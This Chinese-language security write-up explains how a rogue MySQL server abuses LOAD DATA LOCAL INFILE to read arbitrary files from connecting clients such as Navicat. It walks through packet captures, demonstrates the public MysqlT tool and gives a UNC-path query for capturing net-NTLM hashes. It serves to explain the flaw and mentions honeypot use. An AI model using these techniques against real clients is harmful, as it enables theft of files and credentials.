暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

利用MySQL/MariaDB的逻辑缺陷伪造恶意服务端读取客户端文件

启明星辰金睛安全研究团队 2020-08-10
508
为了方便某些场景的使用,MySQL提供了LOAD DATA LOCAL INFILE语句,允许从客户端导入文件数据到服务器中。然而,由于此功能的实现逻辑存在一定缺陷,可能会造成服务端能在未经客户端允许的情况下读取客户端的文件内容。
首先,我们来分析一下正常使用此功能时,客户端与服务端的流量交互过程。
这里笔者采用的PHPStudy搭建的MySQL环境。首先,开启正常的MySQL服务。

在“F:\test”新建一个pi.txt文件,内容如下。

打开命令行,用MySQL monitor客户端(即MySQL.exe)连接上测试数据库,直接执行如下语句,将上述文件的内容记录到预先建立的mysql_test表内,注意在windows下路径中的反斜杠需要转义或改用斜杠:
LOAD DATA LOCAL INFILE 'F:\\test\\pi.txt' INTOTABLE mysql_test FIELDS TERMINATED BY '\n';
此时,指定的文件内容已经被记录到了表内,可以再执行select * from mysql_test;进行确认。

观察流量,可以看到此客户端在尝试连接MySQL服务端,发送登录请求时,默认将“Can Use LOAD DATA LOCAL”置为了1,相当于告诉了服务端,我(客户端)这里支持LOAD DATA LOCAL语句,可以读取客户端本地的文件内容,加载到服务端。

然后,又默认自动执行了一句查询语句,用于在banner中显示服务端的MySQL版本。补充一点,大多数客户端在连接时都会自动静默发送一些查询语句,用于初始化时提供更多信息。如Navicat会执行”SET NAMES utf8mb4”.这一步有一个小小的伏笔,我们后面再进行解释。

随后,观察流量可以看到,我们之前手动执行的LOAD DATA LOCAL命令:

关键点来了。客户端输入上述命令之后,服务端发送了如下内容,控制客户端去读取相应的文件。这几步可以比喻为如下的沟通过程:
1.客户端:我要读取我本地的XXX文件到客户端那边的AA表中!
2.服务端:你快把XXX文件的内容告诉我。
3.客户端:XXX文件的内容是xxxxxx.
然而,第三步客户端的行为,仅仅受到第二步中服务端指令的控制,与第一步中的内容没有任何关系。所以,这里便出现了风险:如果客户端连接到了恶意的服务端,那么此服务端可以控制客户端去读取其能够读取到的任意文件并发送回服务端。也就是说,攻击者可以无视第一步客户端的请求内容,直接在第二步中构造下图中的请求,控制客户端发送指定的文件内容。

下一条流量包中可以看到,客户端确实向服务端发送了指定的文件内容:

综上所述,攻击者可以通过模仿MySQL服务端的返回信息,伪造一个恶意的MySQL服务端,想办法引诱受害者与其进行连接,便可以控制受害者的客户端读取其本地任意指定的文件内容。
Github上已经有了现成的轮子,比如最早的“Rogue-MySql-Server”(https://github.com/Gifts/Rogue-MySql-Server),支持更多自定义功能的“MysqlT”(https://github.com/BeichenDream/MysqlT),这里用后者进行演示。
由于伪造的服务端直接通过返回信息欺骗客户端,模拟连接,所以并不需要真正的MySQL服务运行,我们先把正常的MySQL服务关闭。
下载release文件,按照教程运行并进行设定。
可以看到,这里我指定了欲读取文件的路径、伪造MySQL服务的用户名密码(客户端输入正确时,才返回连接成功的信息)

先再来确认下欲读取文件的内容,与这个恶意服务端目录中的文件内容:

输入mysql run,启动对3306端口的监听,并等待客户端数据,模拟连接。

这里我们换一个服务端进行演示,顺便对上述的“伏笔”进行解释说明。
打开Navicat,填写对应的连接信息,然后点击“测试连接”。

可以看到,Navicat提示连接成功。
再来看看MysqlT:

提示文件已经接收完毕。用tree /F查看文件夹结构,type输出文件内容,确定与test文件夹内的完全一致。

抓包分析之。可以看到,Navicat的客户端在进行连接请求时,也把下述字段置为了1.

然后和上面提到的一样,Navicat客户端在连接时也静默执行了一条查询语句:

这里补充说明一下,要让客户端向服务端发送本地文件的数据,每发送一个文件,都需要将上述的1、2、3三个步骤完整走一遍。只是对第一步中的内容没有要求,但需要客户端执行一次查询这个动作,这也是上面提到的“伏笔”背后的细节。
第一步已经满足了,那么服务端便可以直接开始伪造第二步的信息,控制客户端返回指定文件内容。抓包看到,伪造服务端发送的payload与之前正常客户端执行相应功能时的payload完全一致。

上面已经提到,第三步完全仅由第二步服务端发送过来的命令进行控制,所以,可以预见地,客户端会乖乖向伪造服务端返回相应文件的内容。伪造的服务端接收到之后,就可以写入到文件记录。至此,整个攻击流程结束。
分析这个“漏洞”的应用场景,容易看出,这种技术除了用作攻击之外,还可应用于蜜罐中,达到反制攻击者的效果。
值得一提的是,LOAD DATA INFILE语句支持UNC路径,如果我们的恶意MySQL服务器运行在Windows系统上,我们还有可能使用如下查询语句获取内网用户的net-NTLM Hash:
LOAD DATA LOCAL INFILE "\\HOSTNAME_OR_IP\test\pi.txt"INTO TABLE mysql_test FIELDS TERMINATED BY '\n';
不过,需要对伪造的服务端进行另外的改动,暂不在本次讨论范围内。
文章转载自启明星辰金睛安全研究团队,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论